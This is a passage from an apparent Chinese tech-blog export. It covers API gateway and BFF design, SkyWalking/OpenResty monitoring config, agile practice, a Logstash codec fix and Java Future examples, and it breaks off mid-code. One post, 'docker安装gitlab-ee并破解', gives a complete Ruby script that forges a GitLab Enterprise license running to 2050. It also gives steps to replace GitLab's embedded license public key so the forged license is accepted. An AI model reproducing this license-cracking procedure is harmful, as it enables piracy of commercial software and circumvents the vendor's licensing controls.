开发的，所以在语言一致性上更倾向 java 语言开发的组件。如上图虽然在 API Gateway 的位置上写的是 spring cloud gateway，然而也可以采用像 zuul、zuul2 这些同样是 java 语言开发的组件。对于具体 zuul 和 spring gateway的选型，是这样考虑的：\n|\nspring cloud gateway zuul 性能 性能比 Netflix Zuul 好将近一倍 Zuul1 的性能较差 Zuul2 较 Zuul1 有较大的提升 社区和文档 spring社区非常活跃 一般 可维护性 基于spring官方维护性强 经常跳票、Spring Cloud暂时还没有对Zuul2.0的整合计划 亮点 异步、配置灵活 成熟、简单门槛低 不足 早期产品、新版本踩坑 性能一般、可编程一般 Spring Cloud Gateway 的性能比 Zuul 好基本上已经是业界公认的了，实际上，Spring Cloud Gateway 官方也发布过一个性能测试，这里节选如下数据：\nSpring Cloud Gateway 构建于 Spring 5+，基于 Spring Boot 2.x 响应式的、非阻塞式的 API。同时，它支持 websockets，和 Spring 框架紧密集成。从目前来看，gateway替代zuul是趋势。基于以上这些，综合考虑在架构中使用Spring Cloud Gateway。\n四 非java技术栈的 API Gateway 选型 现代 API Gateway 越来越需要或者流行可编程网关了。上面介绍的都是基于 java 语言开发的可编程的 API Gateway。下面我们来聊聊非 java 语言开发的网关。从前面的架构图上看，我们完全可以将 NGINX 和 API Gateway 合并起来，他们的功能的重合点自然消除了，也能降低架构的复杂性和运维成本。\nNGINX 是一款优秀的软件，然而它在动态性方面的不足导致不太灵活，后面出现的 OpenResty、tengine 这些基于NGINX 和 Lua 的软件在动态性、灵活方面有本质上的改善，加上基于Lua脚本和插件，可以实现所谓的可编程。\n市面上基于OpenResty 以 API Gateway 为应用场景的应用软件有 Kong、APISIX、tyk 等。以下是CNCFland scape 的一个概览\n比较了一下 NGING 和 KONG\n经过考虑，在架构上，后期有可能将 NGINX、Spring Cloud Gateway 替换成KONG 或其他软件。\n比较了一下，目前最火的应用是Kong，另一个国产的 APISIX 趋势也是很猛，且他们的技术栈雷同，所以我在选型上找到了APISIX的作者做的对比：\n从 API 网关核心功能点来看，两者均已覆盖：\n更详细的比较：\n通过性能测试可以看到，在不开启插件的情况下，Apache APISIX 的性能（QPS 和延迟）是 Kong 的2倍，但开启了两个常用插件后，性能就是 Kong 的十倍了。\n无论从性能、可用性、可编程代码量等各个维度APISIX都是非常优秀的，目前唯一担心的就是这种早期项目没有太多大规模应用实践，如果上生产还是有风险，可在测试环境调研，并等待有更多生产实践作为依据。 当然如果架构师认为风险并不大，且经过了测试调研也是可以上的。😁\n五 BFF 层建设迭代 前面我们将 API Gateway 的网关选型介绍了一下，请求通过网关后一般不会直接打到具体微服务上的，而是会通过BFF层，所谓的BFF，即 backend for frontend 面向前端的后端。具体来说它的职能包括：\napi数据裁剪 接口编排 接口调用 这层有的公司会按业务进行多个BFF的建设，在BFF中又有可能拆成多个服务，比如支撑首页的，支持列表页的，或者只有一个服务，支撑某个应用的所有请求的。\n有了BFF层，前后端就会更好的解耦，前端不用再调用多个接口，然后再组织数据，微服务后端也只需要关心自己服务边界内的事情。\n然而在实践的过程中会出现一些问题：\n大量业务逻辑从前后端集中在了BFF层 BFF层逻辑复杂，代码量越来越大，难以维护 BFF API版本维护复杂 前端端接口职责不清，扯皮的结果就是放在BFF层 以上是我真实遇到过的场景。所以在后面的架构设计和实施中，这些情况会尽量避免，但没有从技术上解决根本问题。直到 GraphQL 的出现，让我眼前一亮，给了我一个很好的解决方案。关于GraphQL的搭建，数据交换等细节这里就不展开说了，感兴趣的可以从网上找到很多资料。\n下图是我从网络上找的一个符合我心目中的理想架构。\n图片来源于网络\n说起来简单，做起来没那么容易 ，细节是魔鬼，每利用一个新的技术都会经历一波打怪升级的过程。不过总体来说利用GraphQL确实能从理论上解决上面所说的问题。而重点是如何将它结合进你的系统架构中，并且发挥出它的优势。架构很多时候是在做权衡和选择\n关注公众号 获取更多精彩内容\n","date":"2020-10-13T04:14:35Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-10-13-api-wang-guan-xuan-xing-ji-bao-han-bff-de-jia-gou-she-ji/cover.jpg","permalink":"/p/2020-10-13-api-wang-guan-xuan-xing-ji-bao-han-bff-de-jia-gou-she-ji/","title":"API 网关选型及包含 BFF 的架构设计"},{"content":"\n如何使用skywalking 进行全链路监控 本文涉及内容 skywalking 全链路监控 skywalking 的参数配置 skywalking UI 监控视角与指标介绍 一些很有用的点 skywalking 全链路监控 下图是我从网上找到的一个比较常见的微服务架构，看的出来使用的是 spring cloud 框架组件，后端服务是 java。我所谓的全链路监控是 从 Nginx 到数据库 这个链路的监控。\n我们知道 skywalking 可以通过 agent 比较方便的监控到后端的 java 应用。有关 skywalking 的安装请参考官方文档[1]\n以下是几个界面截图：通过 skywalking , 我们可以从服务入口开始一直监控到数据库，甚至是数据库的 sql 以及参数都可以一览无余（sql 参数显示需要单独配置，后面会讲）。\n然而我们并没有监控到请求的上游源头，即 Nginx 入口，如果我们将从 Nginx 入口来的并且经由 java 服务最终到数据库的请求全部监控起来，就完成了请求的全链路监控。上面我们处理了下半段，现在我们来处理上半段。\nskywalking-nginx-lua[2] 这是 skywalking 的另一个项目，可以通过它来对nginx进行监控。skywalking-nginx-lua 是使用lua来织入 agent 的。所以要求你的 nginx 要么有 lua 模块，要么用 openResty 这样的自带 Lua 功能模块的软件。\n我使用的是openResty，只需要加以下配置就可以实现监控（注意中文注释部分）：\n1http { 2 lua_package_path \u0026#34;/Path/to/.../skywalking-nginx-lua/lib/skywalking/?.lua;;\u0026#34;; 3 4 # Buffer represents the register inform and the queue of the finished segment 5 lua_shared_dict tracing_buffer 100m; 6 7 # Init is the timer setter and keeper 8 # Setup an infinite loop timer to do register and trace report. 9 init_worker_by_lua_block { 10 local metadata_buffer = ngx.shared.tracing_buffer 11 12 -- Set service name 13 metadata_buffer:set(\u0026#39;serviceName\u0026#39;, \u0026#39;User Service Name\u0026#39;) 14 -- Instance means the number of Nginx deployment, does not mean the worker instances 15 metadata_buffer:set(\u0026#39;serviceInstanceName\u0026#39;, \u0026#39;User Service Instance Name\u0026#39;) 16 #这是你的skywalking server地址 17 require(\u0026#34;client\u0026#34;):startBackendTimer(\u0026#34;http://127.0.0.1:12800\u0026#34;) 18 } 19 20 server { 21 listen 8080; 22 23 location /ingress { 24 default_type text/html; 25 26 rewrite_by_lua_block { 27 ------------------------------------------------------ 28 -- NOTICE, this should be changed manually 29 -- This variable represents the upstream logic address 30 -- Please set them as service logic name or DNS name 31 -- 32 -- Currently, we can not have the upstream real network address 33 ------------------------------------------------------ 34 require(\u0026#34;tracer\u0026#34;):start(\u0026#34;upstream service\u0026#34;) 35 -- If you want correlation custom data to the downstream service 36 -- require(\u0026#34;tracer\u0026#34;):start(\u0026#34;upstream service\u0026#34;, {custom = \u0026#34;custom_value\u0026#34;}) 37 } 38 39 # 这是你的目标下游服务，比如java的微服务网关 40 proxy_pass http://127.0.0.1:8080/backend; 41 42 body_filter_by_lua_block { 43 if ngx.arg[2] then 44 require(\u0026#34;tracer\u0026#34;):finish() 45 end 46 } 47 48 log_by_lua_block { 49 require(\u0026#34;tracer\u0026#34;):prepareForReport() 50 } 51 } 52 } 53} 下面是几个监控到的nginx数据的截图\n至此我们就完成了整个链路的监控。\nskywalking 的参数配置 一些中文文档 agent的文档[3] ui的文档[4] 通过修改agent/config/agenet.config 文件得到的能力 根据文档 https://github.com/apache/skywalking/blob/v8.0.0/docs/en/setup/service-agent/java-agent/README.md 得知\n1 可以获取 sql中的参数，默认是获取不到的。当然还要设置参数最大长度。但获取参数有可能引起性能问题。 property key Description Default plugin.mysql.trace_sql_parameters If set to true, the parameters of the sql (typically java.sql.PreparedStatement) would be collected. false plugin.mysql.sql_parameters_max_length If set to positive number, the db.sql.parameters would be truncated to this length, otherwise it would be completely saved, which may cause performance problem. 512 2 收集http参数 1#收集SpringMVC plugin插件请求参，在tomcat上时这俩设置一个即可plugin.tomcat.collect_http_params or plugin.springmvc.collect_http_params 2 plugin.springmvc.collect_http_params=true 3 #请求参数收集的最大字符长度, 配置过大会影响性能. 4 plugin.http.http_params_length_threshold=1024 3 skywalking-oap 的配置文件中关于数据存储时长的配置 1core: 2 selector: ${SW_CORE:default} 3 default: 4 # Mixed: Receive agent data, Level 1 aggregate, Level 2 aggregate 5 # Receiver: Receive agent data, Level 1 aggregate 6 # Aggregator: Level 2 aggregate 7 role: ${SW_CORE_ROLE:Mixed} # Mixed/Receiver/Aggregator 8 restHost: ${SW_CORE_REST_HOST:0.0.0.0} 9 restPort: ${SW_CORE_REST_PORT:12800} 10 restContextPath: ${SW_CORE_REST_CONTEXT_PATH:/} 11 gRPCHost: ${SW_CORE_GRPC_HOST:0.0.0.0} 12 gRPCPort: ${SW_CORE_GRPC_PORT:11800} 13 gRPCSslEnabled: ${SW_CORE_GRPC_SSL_ENABLED:false} 14 gRPCSslKeyPath: ${SW_CORE_GRPC_SSL_KEY_PATH:\u0026#34;\u0026#34;} 15 gRPCSslCertChainPath: ${SW_CORE_GRPC_SSL_CERT_CHAIN_PATH:\u0026#34;\u0026#34;} 16 gRPCSslTrustedCAPath: ${SW_CORE_GRPC_SSL_TRUSTED_CA_PATH:\u0026#34;\u0026#34;} 17 downsampling: 18 - Hour 19 - Day 20 - Month 21 # Set a timeout on metrics data. After the timeout has expired, the metrics data will automatically be deleted. 22 enableDataKeeperExecutor: ${SW_CORE_ENABLE_DATA_KEEPER_EXECUTOR:true} # Turn it off then automatically metrics data delete will be close. 23 dataKeeperExecutePeriod: ${SW_CORE_DATA_KEEPER_EXECUTE_PERIOD:5} # How often the data keeper executor runs periodically, unit is minute 24 recordDataTTL: ${SW_CORE_RECORD_DATA_TTL:3} # Unit is day 25 metricsDataTTL: ${SW_CORE_RECORD_DATA_TTL:7} # Unit is day 主要是这四行\n1enableDataKeeperExecutor: ${SW_CORE_ENABLE_DATA_KEEPER_EXECUTOR:true} # Turn it off then automatically metrics data delete will be close. 2dataKeeperExecutePeriod: ${SW_CORE_DATA_KEEPER_EXECUTE_PERIOD:5} # How often the data keeper executor runs periodically, unit is minute 3recordDataTTL: ${SW_CORE_RECORD_DATA_TTL:3} # Unit is day 4metricsDataTTL: ${SW_CORE_RECORD_DATA_TTL:7} # Unit is day skywalking UI 监控视角与指标介绍 cpm 每分钟请求数 cpm 全称 call per minutes，是吞吐量(Throughput)指标。下图是拼接的全局、服务、实例和接口的吞吐量及平均吞吐量。\n第一条185cpm=185/60=3.08个请求/秒。\nSLA 服务等级协议 SLA 全称 Service-Level Agreement，直译为 “服务等级协议”，用来表示提供服务的水平。在IT中，SLA可以衡量平台的可用性，下面是N个9的计算：\n1年 = 365天 = 8760小时 99 = 8760 * 1% =\u0026gt; 3.65天 99.9 = 8760 * 0.1% =\u0026gt; 8.76小时 99.99 = 8760 * 0.01% =\u0026gt; 52.6分钟 99.999 = 8760 * 0.001% =\u0026gt; 5.26分钟 因此，全年只要发生一次较大规模宕机事故，4个9肯定没戏，一般平台3个9差不多。但2个9就基本不可用了，相当于全年有87.6小时不可用，每周(一个月按4周算)有1.825小时不可用。下图是服务、实例、接口的SLA，一般看年度、月度即可。\nPercent Response 百分位数统计 表示采集样本中某些值的占比，Skywalking 有 p50、p75、p90、p95、p99 一些列值。其中的 “p99:390” 表示 99% 请求的响应时间在390ms以内。而99%一般用于抛掉一些极端值，表示绝大多数请求。\nSlow Endpoint 慢端点 Endpoint 表示具体的服务，例如一个接口。下面是全局Top N的数据，通过这个可以观测平台性能情况。\nHeatmap 热力图 Heapmap 可译为热力图、热度图都可以，其中颜色越深，表示请求数越多，这和GitHub Contributions很像，commit越多，颜色越深。横坐标是响应时间，鼠标放上去，可以看到具体的数量。通过热力图，一方面可以直观感受平台的整体流量，另一方面也可以感受整体性能。\napdex 是一个衡量服务器性能的标准。apdex有三个指标：\n满意：请求响应时间小于等于T。 可容忍：请求响应时间大于T，小于等于4T。 失望：请求响应时间大于4T。 T：自定义的一个时间值，比如：500ms。apdex = （满意数 + 可容忍数/2）/ 总数。例如：服务A定义T=200ms，在100个采样中，有20个请求小于200ms，有60个请求在200ms到800ms之间，有20个请求大于800ms。计算apdex = (20 + 60/2)/100 = 0.5。\n一些很有用的点 在拓扑图中\n红色代表当前节点的请求有一段时间内是响应异常的。当节点全部变红的时候证明服务现阶段内就彻底不可用了。我们可以通过Topology迅速发现某一个服务潜在的问题，并进行下一步的排查并做到预防。\n仔细看线是有流向的，有单向和双向的，单向有从左至右的或从右至左的，这样你就知道你的服务是谁依赖了谁。双向的就证明你的服务有循环引用依赖问题。\n在最新版本8.1中有endpoint端口依赖的分析，可以分析出接口级别的依赖关系，可以知道某接口是被谁调用，它又调用了谁。\n关注公众号 获取更多精彩内容\n参考资料 [1]\nskywalking官方文档: https://github.com/apache/skywalking/blob/master/docs/en/setup/README.md\n[2]\nskywalking-nginx-lua项目地址: https://github.com/apache/skywalking-nginx-lua/\n[3]\nskywalking-agent文档: https://skyapm.github.io/document-cn-translation-of-skywalking/zh/8.0.0/setup/service-agent/java-agent/\n[4\nskywalking-ui 文档: https://skyapm.github.io/document-cn-translation-of-skywalking/zh/8.0.0/ui/\n","date":"2020-09-29T06:41:07Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-09-29-ru-he-shi-yong-skywalking-jin-xing-quan-lian-lu-jian-kong/cover.jpg","permalink":"/p/2020-09-29-ru-he-shi-yong-skywalking-jin-xing-quan-lian-lu-jian-kong/","title":"如何使用skywalking 进行全链路监控"},{"content":"\n1 利用docker-compose安装 1version: \u0026#39;3.7\u0026#39; 2services: 3 web: 4 image: \u0026#39;gitlab/gitlab-ee:latest\u0026#39; 5 #restart: always 6 hostname: \u0026#39;gitlab.example.com\u0026#39; 7 environment: 8 GITLAB_OMNIBUS_CONFIG: | 9 external_url \u0026#39;https://gitlab.example.com\u0026#39; 10 ports: 11 - \u0026#39;22:22\u0026#39; 12 - \u0026#39;80:80\u0026#39; 13 - \u0026#39;443:443\u0026#39; 14 volumes: 15 - \u0026#39;/data/docker-compose/gitlab/config:/etc/gitlab\u0026#39; 16 - \u0026#39;/data/docker-compose/gitlab/logs:/var/log/gitlab\u0026#39; 17 - \u0026#39;/data/docker-compose/gitlab/data:/var/opt/gitlab\u0026#39;ssf 2 创建 ruby docker 镜像 1docker run -it --rm ruby /bin/bash 3 生成许可证 1gem install gitlab-license 2 3cat \u0026gt; license.rb 注意修改下面的开始和结束时间\n1require \u0026#34;openssl\u0026#34; 2require \u0026#34;gitlab/license\u0026#34; 3 4key_pair = OpenSSL::PKey::RSA.generate(2048) 5File.open(\u0026#34;license_key\u0026#34;, \u0026#34;w\u0026#34;) { |f| f.write(key_pair.to_pem) } 6 7public_key = key_pair.public_key 8File.open(\u0026#34;license_key.pub\u0026#34;, \u0026#34;w\u0026#34;) { |f| f.write(public_key.to_pem) } 9 10private_key = OpenSSL::PKey::RSA.new File.read(\u0026#34;license_key\u0026#34;) 11Gitlab::License.encryption_key = private_key 12 13license = Gitlab::License.new 14license.licensee = { 15 \u0026#34;Name\u0026#34; =\u0026gt; \u0026#34;none\u0026#34;, 16 \u0026#34;Company\u0026#34; =\u0026gt; \u0026#34;none\u0026#34;, 17 \u0026#34;Email\u0026#34; =\u0026gt; \u0026#34;example@test.com\u0026#34;, 18} 19license.starts_at = Date.new(2020, 1, 1) # 开始时间 20license.expires_at = Date.new(2050, 1, 1) # 结束时间 21license.notify_admins_at = Date.new(2049, 12, 1) 22license.notify_users_at = Date.new(2049, 12, 1) 23license.block_changes_at = Date.new(2050, 1, 1) 24license.restrictions = { 25 active_user_count: 10000, 26} 27 28puts \u0026#34;License:\u0026#34; 29puts license 30 31data = license.export 32puts \u0026#34;Exported license:\u0026#34; 33puts data 34File.open(\u0026#34;GitLabBV.gitlab-license\u0026#34;, \u0026#34;w\u0026#34;) { |f| f.write(data) } 35 36public_key = OpenSSL::PKey::RSA.new File.read(\u0026#34;license_key.pub\u0026#34;) 37Gitlab::License.encryption_key = public_key 38 39data = File.read(\u0026#34;GitLabBV.gitlab-license\u0026#34;) 40$license = Gitlab::License.import(data) 41 42puts \u0026#34;Imported license:\u0026#34; 43puts $license 44 45unless $license 46 raise \u0026#34;The license is invalid.\u0026#34; 47end 48 49if $license.restricted?(:active_user_count) 50 active_user_count = 10000 51 if active_user_count \u0026gt; $license.restrictions[:active_user_count] 52 raise \u0026#34;The active user count exceeds the allowed amount!\u0026#34; 53 end 54end 55 56if $license.notify_admins? 57 puts \u0026#34;The license is due to expire on #{$license.expires_at}.\u0026#34; 58end 59 60if $license.notify_users? 61 puts \u0026#34;The license is due to expire on #{$license.expires_at}.\u0026#34; 62end 63 64module Gitlab 65 class GitAccess 66 def check(cmd, changes = nil) 67 if $license.block_changes? 68 return build_status_object(false, \u0026#34;License expired\u0026#34;) 69 end 70 end 71 end 72end 73 74puts \u0026#34;This instance of GitLab Enterprise Edition is licensed to:\u0026#34; 75$license.licensee.each do |key, value| 76 puts \u0026#34;#{key}: #{value}\u0026#34; 77end 78 79if $license.expired? 80 puts \u0026#34;The license expired on #{$license.expires_at}\u0026#34; 81elsif $license.will_expire? 82 puts \u0026#34;The license will expire on #{$license.expires_at}\u0026#34; 83else 84 puts \u0026#34;The license will never expire.\u0026#34; 85end 86 87ruby license.rb 生成 GitLabBV.gitlab-license license_key license_key.pub 这三个文件。\n4 使用许可证 用 license_key.pub 文件替换 /opt/gitlab/embedded/service/gitlab-rails/.license_encryption_key.pub 中的内容 GitLabBV.gitlab-license 即是许可证，填入 ${address}/admin/license 地址并重启。 5 搞定收工 关注公众号 获取更多精彩内容\n","date":"2020-09-19T06:33:32Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-09-19-docker-an-zhuang-gitlab-ee-bing-po-jie/cover.jpg","permalink":"/p/2020-09-19-docker-an-zhuang-gitlab-ee-bing-po-jie/","title":"docker安装gitlab-ee并破解"},{"content":"\n营销知识\n广告门 ：https://www.adquan.com/ 数英：https://www.digitaling.com/ 文案\n梅花网：https://www.meihua.info/ 顶尖文案：topys.cn 文案狗：http://www.wenangou.com/ 公关事件\n17pr: http://www.17pr.com 公关圈 ：http://prapi.prelation.cn 内容生产：\n就看：http://www.jiukan.com/ 平面设计\n艺点：http://www.vipyidian.com/ 工业设计\n洛客：https://www.lkker.com/ 关注公众号 获取更多精彩内容\n","date":"2020-08-27T15:32:14Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-08-27-shi-yong-ying-xiao-wang-zhan-tui-jian/cover.jpg","permalink":"/p/2020-08-27-shi-yong-ying-xiao-wang-zhan-tui-jian/","title":"实用营销网站推荐"},{"content":"\n以****下仅是我本人在敏捷方面的实践经验，仅供参考。。\n方法论先进性问题 来源https://insights.stackoverflow.com/survey/2017#development-practices\n每日站会（一直在践行） 昨天为冲刺做了什么\n今天为冲刺要做什么\n遇到什么阻碍冲刺的事情了\nsprint == 迭代周期 ==冲刺 每一个迭代周期一般时间固定。\n我们在第一次使用Scrum进行项目管理时，并没有看Scrum的规则，从直觉上做了以下几件事，巧合的是，跟Scrum中项目的前期准备sprint0 很多地方是一致的，这让我们后期切到Scrum更加顺滑。\n我们在准备阶段，分别让\n前、后端包括UED进行了架构设计，产品设计文档\n进行了一些技术难点和问题点的调研\n也有了第一个release的发布计划\n初步的backlog\n和测试、产品一起同步数据的抓取方案\n不过还缺少审核检查表等。（缺的不多）\n与产品梳理故事，并对故事的优化级进行了排序 将不同故事安排在不同的sprint中 评估时间 第一次评估故事和开发时间，是用计划扑克，将故事点和开发人天设置为一样，这样做是为了大家方便理解，先试用一次，并且是我自己将story拆分成task的。从第二次开始，将故事点和开发时间分开评估，由大家一起将story拆分成task,然后由大家认领task，交给最适合做这个task的开发同事。再根据task，每人分别评估开发时间。\n与测试一起制定测试与开发周期的结合点，这块并没有完全按照scrum的方法做，我的做法是想尽量让测试与开发并行，将测试与开发的工作周期拉开一周，原因是在早期项目的开发节奏较快，任务比较多。 与UED一起制定了UED与开周期的结合点，UED整体早开发一个周期，这样当开发进行到一定任务时，UED已准备好。 通过 以上两点 设计、开发、测试 的工作周期能够比较好的咬合在一起，当然实际效果要在日后的工作中持续检验。 产品可以持续在backlog中添加待办事项，同事们就可以排sprint来进行一个又一个周期的安排。然后开发的同事们来具体实施完成。 “鸡”在scrum中不能说话。 鸡可以观察每日Scrum，但不能够参与 参考文章：https://cloud.tencent.com/developer/article/1073880 在开发中发现很多细节问题，这些问题都是在需求及设计阶段没有讲清或更新不及时导致的，所以在流程中又加入了评审过程。 评审分两块：\n1：需求+设计 ，这部分的评审我们将需求和设计结合起来一起做，因为产品和UED是在开发的前一个周期的，所以时间上是有的，另外，二者合起来对于开发接收的信息更完整，更利于开发的顺利介入。评审时间是在开发拆分story之前。 2：测试评审，具体就是针对测试用例进行评审，主要目的是使开发和测试对所做的东西有一个一致的认识，让不同角度的双方进行一轮信息的交流，达成共识。评审时间是在开发的中前期，具体时间由测试负责人决定。 加入了验收人和验收时间，在每一个sprint结束后需要验收人来进行验收，我们并没做全员的成果演示，简化些流程，只做产品的验收。但是会在大版本发布前做一个多功能的成果演示。目的是让全员对产品成果有概念，让参与的同事有成就感。 验收人员由产品改为 产品+UED 在提测前加入了UED走查，这样UED在评审、走查、验收三个环节都有机会介入校验开发的成果是否和设计一致。 召开了敏捷回顾会议，通过总结 KEEP（做的好的，要保持的）\nCHANGE（做的不好的，需要改进的）\nTRY（可以尝试的）\n产出了 action list ,为后面每一个sprint的行动\nkeep change try 每人每项最多列举三项，然后大家匿名贴在白板上（反过来贴，字在里面）可以消除大家的心理障碍。开会时，主持一张一张的读出来，然后大家发言讨论下，直到最后一张讨论完，总结出ACTION LIST。\n将bug fix的修改周期和提测周期粒度拆细，由原来的按sprint算，改为在一个sprint中分功能多次提测，在重要sprint中，按照当时项目的情况灵活掌握，具体来说就是:bug按优先级灵活处理,重要的先处理，排进当前sprint故事中，不重要的暂时搁置。 调整了故事和任务的粒度 因为经过了几次迭代后，大家对开发的模式很清楚了，在互相信任的前提下， 我们提高效率，减少了录入整理和频繁的看板操作，将任务的粒度变粗，而故事的任务变粗可以方便拆分成有意义的任务，否则如果故事太细，任务不好拆分，就算拆分了也意义不大。比如一个关注功能，虽然可以拆分成数据库设计、缓存设计、接口契约制定、实现，前端实现，后端逻辑实现，但如果所有故事都这么干，任务量太大和对任务的管理就会比较麻烦。 有关敏捷的思考 敏捷开发不是偷工减料，不是贪图速度。只是因为每一个人相对独立后，减少了沟通成本，从效果来讲变快了。如果在工作中，不做防范（写文档，测试，测试用例），一味降低成本。后来人走了，接不上，成本更高。 关注公众号 获取更多精彩内容\n","date":"2020-08-23T15:08:53Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-08-23-min-jie-kai-fa-shi-jian/cover.jpg","permalink":"/p/2020-08-23-min-jie-kai-fa-shi-jian/","title":"敏捷开发实践"},{"content":"\n某系统日志架构是在项目中通过配置logback.xml配置双写\n写本地日志文件\n写到远程logstash\n本地没有问题，有问题是logstash，在Kibana上看到有些日志没显示。\n开始是怀疑是不是日志丢了，由于使用的是LogstashTcpSocketAppender\n查了下官文文档:\nInternally, the TCP appenders are asynchronous (using the LMAX Disruptor RingBuffer).All the encoding and TCP communication is delegated to a single writer thread.There is no need to wrap the TCP appenders with another asynchronous appender (such as AsyncAppender or LoggingEventAsyncDisruptorAppender).\nThe TCP appenders will never block the logging thread. If the RingBuffer is full (e.g. due to slow network, etc), then events will be dropped.\n我得到了以下信息：\nLogstashTcpSocketAppender和 logback的的异步appender的行为是类似的，也就是说，它也是异步的。\n使用LogstashTcpSocketAppender ，不需要再外面再包裹任何Logback的appender\nRingBuffer满了，日志会丢失\n关于最后一点，只需修改配置就可以。根据源码看默认是8192 单位是B。且是2的幂次方。\n1\u0026lt;appender name=\u0026#34;stash\u0026#34; class=\u0026#34;net.logstash.logback.appender.LogstashTcpSocketAppender\u0026#34;\u0026gt; 2 \u0026lt;ringBufferSize\u0026gt;1048576\u0026lt;/ringBufferSize\u0026gt; 然而这并没有解决问题，于是仔细看了下logstash的日志，发现有大量的json解析错误，根据日志情况分析，原因是日志数据传输到logstash之后被截断成了多条数据，于是有的数据就解析异常了，自然无法正常到归集到es的索引文档中。\n知道原因后解决起来就有思路了，查了一下logstash的配置：\n1tcp { 2 port =\u0026gt; 5001 3 type =\u0026gt; applogs 4 codec =\u0026gt; json 5 } 原因就是codec写的是json的问题，应该用json_lines。\n对于日志很长的json，应该使用json_lines格式，否则会被截断成多条且解析错误。\n1tcp { 2 port =\u0026gt; 5001 3 type =\u0026gt; applogs 4 codec =\u0026gt; json_lines 5 } 关注公众号 获取更多精彩内容\n","date":"2020-08-12T08:52:47Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-08-12-ji-yi-ci-logstash-ri-zhi-diu-shi-wen-ti/cover.jpg","permalink":"/p/2020-08-12-ji-yi-ci-logstash-ri-zhi-diu-shi-wen-ti/","title":"记一次Logstash日志丢失问题"},{"content":"\n先谈谈Future\nCallable与Runnable的功能大致相似,但是call()函数有返回值. Callable一般是和ExecutorService配合来使用的 Future就是对于具体的Runnable或者Callable任务的执行结果进行取消、查询是否完成 在Future接口中声明了5个方法 cancel方法用来取消任务，如果取消任务成功则返回true，如果取消任务失败则返回false。 isCancelled方法表示任务是否被取消成功，如果在任务正常完成前被取消成功，则返回 true。 isDone方法表示任务是否已经完成，若任务完成，则返回true； get()方法用来获取执行结果，这个方法会产生阻塞，会一直等到任务执行完毕才返回； get(long timeout, TimeUnit unit)用来获取执行结果，如果在指定时间内，还没获取到结果，就直接返回null。 也就是说Future提供了三种功能：\n1）判断任务是否完成；\n2）能够中断任务；\n3）能够获取任务执行结果。\n因为Future只是一个接口，所以是无法直接用来创建对象使用的，因此就有了FutureTask。 来两个demo:\n1 public static void futureDemo1() throws ExecutionException, InterruptedException { 2 3 ThreadPoolExecutor pool = CommonThreadPool.getPool(); 4 Future\u0026lt;Integer\u0026gt; f = pool.submit(() -\u0026gt; { 5 // 长时间的异步计算 6 Thread.sleep(2000); 7 // 然后返回结果 8 return 100; 9 }); 10 while (!f.isDone()) { 11 System.out.println(System.currentTimeMillis() + \u0026#34; 还没结束\u0026#34;); 12 } 13 //结束后，获取结果 14 System.out.println(f.get()); 15 16 } 17 18```java 19 20 Future只实现了异步，而没有实现回调，主线程get时会阻塞，可以轮询以便获取异步调用是否完成。在实际的使用中建议使用Guava ListenableFuture 来实现异步非阻塞，目的就是多任务异步执行，通过回调的方式来获取执行结果而不需轮询任务状态。 21 22```java 23 public static void futureDemo2() { 24 25 ListeningExecutorService executorService = MoreExecutors 26 .listeningDecorator(CommonThreadPool.getPool()); 27 28 IntStream.rangeClosed(1, 10).forEach(i -\u0026gt; { 29 ListenableFuture\u0026lt;Integer\u0026gt; listenableFuture = executorService 30 .submit(() -\u0026gt; { 31 // 长时间的异步计算 32 // Thread.sleep(3000); 33 // 然后返回结果 34 return 100; 35 }); 36 37 Futures.addCallback(listenableFuture, new FutureCallback\u0026lt;Integer\u0026gt;() { 38 @Override 39 public void onSuccess(Integer result) { 40 System.out.println(\u0026#34;get listenable future\u0026#39;s result with callback \u0026#34; + result); 41 } 42 43 @Override 44 public void onFailure(Throwable t) { 45 t.printStackTrace(); 46 } 47 }, executorService); 48 }); 49 } 50 51```java 52 53CompletableFuture 54 55 Futrue对于结果的获取却是很不方便，只能通过阻塞或者轮询的方式得到任务的结果。 56 57在Java 8中, 新增加了一个包含50个方法左右的类: CompletableFuture，提供了非常强大的Future的扩展功能。 58 59 CompletableFuture能够将回调放到与任务不同的线程中执行，也能将回调作为继续执行的同步函数，在与任务相同的线程中执行。它避免了传统回调最大的问题，那就是能够将控制流分离到不同的事件处理器中。 60 61 CompletableFuture弥补了Future模式的缺点。在异步的任务完成后，需要用其结果继续操作时，无需等待。可以直接通过thenAccept、thenApply、thenCompose等方式将前面异步处理的结果交给另外一个异步事件处理线程来处理。 62 63 下面将会一个个的例子来说明CompletableFuture 64 65异步执行 66 67```cs 68/** 69 * 70 * public static CompletableFuture\u0026lt;Void\u0026gt; runAsync(Runnable runnable) 71 * public static CompletableFuture\u0026lt;Void\u0026gt; runAsync(Runnable runnable, Executor executor) 72 * public static \u0026lt;U\u0026gt; CompletableFuture\u0026lt;U\u0026gt; supplyAsync(Supplier\u0026lt;U\u0026gt; supplier) 73 * public static \u0026lt;U\u0026gt; CompletableFuture\u0026lt;U\u0026gt; supplyAsync(Supplier\u0026lt;U\u0026gt; supplier, Executor executor) 74 * 75 * 76 * 以Async结尾并且没有指定Executor的方法会使用ForkJoinPool.commonPool()作为它的线程池执行异步代码。 77 * 78 * runAsync方法也好理解，它以Runnable函数式接口类型为参数，所以CompletableFuture的计算结果为空。 79 * 80 * supplyAsync方法以Supplier\u0026lt;U\u0026gt;函数式接口类型为参数,CompletableFuture的计算结果类型为U。 81 */ 82public static void runAsyncExample() throws ExecutionException, InterruptedException { 83 84 CompletableFuture\u0026lt;Void\u0026gt; cf = CompletableFuture.runAsync(() -\u0026gt; { 85 System.out.println(\u0026#34;异常执行代码\u0026#34;); 86 }); 87 88 CompletableFuture\u0026lt;String\u0026gt; future = CompletableFuture.supplyAsync(() -\u0026gt; { 89 //长时间的计算任务 90 return \u0026#34;·00\u0026#34;; 91 }); 92 93 System.out.println(future.join()); 94 95 } 96 97```java 98 99计算结果完成时的处理 100 101```xml 102 /** 103 * 104 * 当CompletableFuture的计算结果完成，或者抛出异常的时候，我们可以执行特定的Action。主要是下面的方法： 105 * 106 * whenComplete(BiConsumer\u0026lt;? super T,? super Throwable\u0026gt; action) public CompletableFuture\u0026lt;T\u0026gt; 107 * 